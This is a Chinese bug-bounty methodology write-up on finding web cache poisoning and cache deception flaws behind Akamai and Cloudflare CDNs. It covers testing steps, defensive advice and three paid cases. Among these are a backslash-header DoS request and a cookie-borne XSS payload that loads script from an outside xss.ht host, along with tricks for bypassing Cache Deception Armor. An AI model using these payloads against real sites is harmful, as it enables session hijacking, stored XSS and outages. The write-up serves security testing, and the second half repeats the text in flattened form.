Bombon 方法论:我将如何测试Web缓存漏洞
字数 1998 2025-08-22 12:23:42

Web缓存漏洞测试方法论详解

1. Web缓存漏洞概述

Web缓存漏洞是指由于缓存机制配置或实现不当,导致攻击者可通过操纵缓存内容获取敏感信息、篡改数据或破坏服务安全性的安全风险。

主要攻击类型

  1. 缓存投毒(Cache Poisoning): 注入恶意响应误导用户
  2. 缓存欺骗(Cache Deception): 诱骗缓存存储私密数据
  3. 未授权缓存(Unauthorized Caching): 泄露本应受限的内容

典型漏洞示例

电商网站案例:

  • 用户登录后的"猜你喜欢"页面配置为缓存10分钟
  • 缓存键(Cache Key)设计不当,只根据URL路径(/recommendations)缓存,未区分用户身份
  • 攻击者可利用此漏洞让其他用户看到自己的推荐内容或篡改内容

2. 测试方法论

2.1 基础测试流程

对于无登录功能的应用程序(使用Akamai CDN)

  1. 抓包并发送到Repeater
  2. 检查服务器是否缓存正常请求
    • 通过响应头Server-Timing: cdn-cache; desc=HIT判断
  3. 在请求中添加非法请求标头
  4. 验证缓存效果
    • 如果响应已成功缓存,在任何浏览器打开URL时应收到400 Bad Request

对于有登录功能的应用程序

  1. 创建测试用户
  2. 检查请求包中的敏感信息(如会话令牌)
  3. 发送到Repeater
  4. 在URL末尾添加可缓存的扩展名(.js, .css)
    • 检查是否返回200 OK响应
  5. 使用测试账户访问修改后的URL
  6. 使用curl或隐私浏览窗口打开相同URL
  7. 验证令牌是否被缓存
    • 如果令牌成功缓存,应在响应中看到令牌

2.2 Cloudflare CDN的特殊情况

  • 非法Header通常无法正常工作
  • 大多数Cloudflare客户使用Cache Deception Armor保护
  • 可能的绕过方法:
    • 使用.AVIF文件(非常未知的扩展文件)
    • 对于未激活Cache Deception Armor的站点,可正常测试缓存中毒/欺骗

3. 实际漏洞案例

3.1 缓存欺骗导致账户接管

案例概述:

  • 所有cookie(包括HTTPonly cookie)在https://host.com/app/conversation/1.js中公开
  • 认证用户访问此URL时,其所有cookie会被存储在缓存中
  • 攻击者可提取cookie并劫持会话

技术细节:

  • 赏金: $1,500
  • 注意点:
    • 如果响应是"404 Not found",Akamai可能只缓存不到10秒
    • 如果响应是200 OK,缓存可能持续至少24小时
    • 某些应用中,在扩展名前添加分号(;)可能返回200 OK(如/xxx/xxxxxx/;.js)

3.2 缓存投毒导致DoS

案例概述:

  • 在Akamai CDN中,发送反斜杠\作为标头会导致400 Bad Request响应
  • 当网站缓存正常响应(如www.host.com/products/*)时,这会成为严重问题

请求示例:

GET /products/xxx/xxxx/xxx/?test HTTP/2
Host: www.host.com
\: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
[...其他标头...]

响应示例:

HTTP/2 400 Bad Request
[...]
Server-Timing: cdn-cache; desc=HIT
[...]

技术细节:

  • 赏金: $1,000
  • Akamai改进: 400响应默认只缓存5秒
  • 绕过方法: 使用Burp入侵者发送空有效载荷,可使400响应永久缓存

3.3 缓存中毒到存储型XSS

案例概述:

  • n_vis通过Cookie参数存在XSS漏洞
  • 服务器缓存了此响应,使XSS Payload被保存
  • 网站使用Jquery,可利用$.getScript函数绕过WAF

请求示例:

GET /xxxx/xx-xx.otf?triagethiss HTTP/2
Host: www.host.com
Cookie: n_vis=xssx'*$.getScript`//593.xss.ht`//
[...其他标头...]

响应示例:

<script>...Visitor.id='xssx'*$.getScript`//593.xss.ht`</script>

技术细节:

  • 赏金: $1,000
  • 测试点: 任何请求标头、Cookie、自定义标头、X-Forwarded-*标头

4. 防御建议

  1. 严格校验缓存内容
    • 确保缓存键包含足够区分用户身份的信息
  2. 限制敏感数据缓存
    • 避免缓存包含会话令牌或个人数据的响应
  3. 设置合理的缓存时间
    • 根据内容敏感性调整缓存时间
  4. 规范缓存行为
    • 使用Cache-Control等HTTP头明确控制缓存
  5. CDN特定配置
    • 启用Cache Deception Armor等保护措施
    • 对错误响应设置短缓存时间

5. 测试工具与技巧

  1. 主要工具:
    • Burp Suite(Repeater, Intruder)
    • curl
    • 隐私浏览窗口
  2. 自动化工具:
    • 仅推荐使用SQLmap测试SQL注入
    • 缓存漏洞测试主要依赖手动方法
  3. 扩展名技巧:
    • 尝试添加.js, .css, .avif等扩展名
    • 尝试在扩展名前添加分号(;)
  4. 标头测试:
    • 测试非法标头(如反斜杠)
    • 测试X-Forwarded-*等自定义标头

6. 总结

Web缓存漏洞测试需要深入理解缓存机制和CDN行为,重点关注:

  • 缓存键的设计是否合理
  • 敏感信息是否被不当缓存
  • 错误响应是否被缓存
  • 特殊字符和扩展名的处理方式

通过系统性地测试这些方面,可以发现潜在的缓存相关漏洞,帮助提高Web应用的安全性。

Web缓存漏洞测试方法论详解 1. Web缓存漏洞概述 Web缓存漏洞是指由于缓存机制配置或实现不当,导致攻击者可通过操纵缓存内容获取敏感信息、篡改数据或破坏服务安全性的安全风险。 主要攻击类型 缓存投毒(Cache Poisoning) : 注入恶意响应误导用户 缓存欺骗(Cache Deception) : 诱骗缓存存储私密数据 未授权缓存(Unauthorized Caching) : 泄露本应受限的内容 典型漏洞示例 电商网站案例: 用户登录后的"猜你喜欢"页面配置为缓存10分钟 缓存键(Cache Key)设计不当,只根据URL路径( /recommendations )缓存,未区分用户身份 攻击者可利用此漏洞让其他用户看到自己的推荐内容或篡改内容 2. 测试方法论 2.1 基础测试流程 对于无登录功能的应用程序(使用Akamai CDN) 抓包并发送到Repeater 检查服务器是否缓存正常请求 通过响应头 Server-Timing: cdn-cache; desc=HIT 判断 在请求中添加非法请求标头 验证缓存效果 如果响应已成功缓存,在任何浏览器打开URL时应收到400 Bad Request 对于有登录功能的应用程序 创建测试用户 检查请求包中的敏感信息(如会话令牌) 发送到Repeater 在URL末尾添加可缓存的扩展名(.js, .css) 检查是否返回200 OK响应 使用测试账户访问修改后的URL 使用curl或隐私浏览窗口打开相同URL 验证令牌是否被缓存 如果令牌成功缓存,应在响应中看到令牌 2.2 Cloudflare CDN的特殊情况 非法Header通常无法正常工作 大多数Cloudflare客户使用Cache Deception Armor保护 可能的绕过方法: 使用.AVIF文件(非常未知的扩展文件) 对于未激活Cache Deception Armor的站点,可正常测试缓存中毒/欺骗 3. 实际漏洞案例 3.1 缓存欺骗导致账户接管 案例概述 : 所有cookie(包括HTTPonly cookie)在 https://host.com/app/conversation/1.js 中公开 认证用户访问此URL时,其所有cookie会被存储在缓存中 攻击者可提取cookie并劫持会话 技术细节 : 赏金: $1,500 注意点: 如果响应是"404 Not found",Akamai可能只缓存不到10秒 如果响应是200 OK,缓存可能持续至少24小时 某些应用中,在扩展名前添加分号(;)可能返回200 OK(如 /xxx/xxxxxx/;.js ) 3.2 缓存投毒导致DoS 案例概述 : 在Akamai CDN中,发送反斜杠 \ 作为标头会导致400 Bad Request响应 当网站缓存正常响应(如 www.host.com/products/* )时,这会成为严重问题 请求示例 : 响应示例 : 技术细节 : 赏金: $1,000 Akamai改进: 400响应默认只缓存5秒 绕过方法: 使用Burp入侵者发送空有效载荷,可使400响应永久缓存 3.3 缓存中毒到存储型XSS 案例概述 : n_vis 通过Cookie参数存在XSS漏洞 服务器缓存了此响应,使XSS Payload被保存 网站使用Jquery,可利用 $.getScript 函数绕过WAF 请求示例 : 响应示例 : 技术细节 : 赏金: $1,000 测试点: 任何请求标头、Cookie、自定义标头、X-Forwarded-* 标头 4. 防御建议 严格校验缓存内容 确保缓存键包含足够区分用户身份的信息 限制敏感数据缓存 避免缓存包含会话令牌或个人数据的响应 设置合理的缓存时间 根据内容敏感性调整缓存时间 规范缓存行为 使用Cache-Control等HTTP头明确控制缓存 CDN特定配置 启用Cache Deception Armor等保护措施 对错误响应设置短缓存时间 5. 测试工具与技巧 主要工具 : Burp Suite(Repeater, Intruder) curl 隐私浏览窗口 自动化工具 : 仅推荐使用SQLmap测试SQL注入 缓存漏洞测试主要依赖手动方法 扩展名技巧 : 尝试添加.js, .css, .avif等扩展名 尝试在扩展名前添加分号(;) 标头测试 : 测试非法标头(如反斜杠) 测试X-Forwarded-* 等自定义标头 6. 总结 Web缓存漏洞测试需要深入理解缓存机制和CDN行为,重点关注: 缓存键的设计是否合理 敏感信息是否被不当缓存 错误响应是否被缓存 特殊字符和扩展名的处理方式 通过系统性地测试这些方面,可以发现潜在的缓存相关漏洞,帮助提高Web应用的安全性。